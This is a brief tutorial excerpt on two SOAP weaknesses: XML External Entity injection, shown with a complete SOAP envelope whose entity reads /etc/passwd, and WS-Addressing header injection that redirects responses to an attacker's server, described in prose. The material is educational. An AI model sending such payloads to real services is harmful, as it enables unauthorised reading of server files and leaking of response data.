1 XXE in SOAP and WS-Addressing Injection
SOAP web services process XML messages, introducing XML-specific vulnerabilities.
XXE (XML External Entity) in SOAP:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<processOrder>
<customer>&xxe;</customer> <!-- File contents inserted here -->
</processOrder>
</soapenv:Body>
</soapenv:Envelope>The XML parser resolves the &xxe; entity by reading /etc/passwd, including its contents in the SOAP request processing. This enables reading arbitrary files from the server.
WS-Addressing header injection:
SOAP uses WS-Addressing headers to route messages. Injecting attacker-controlled values into wsa:ReplyTo or wsa:FaultTo headers can redirect SOAP responses to attacker servers, potentially leaking sensitive response data.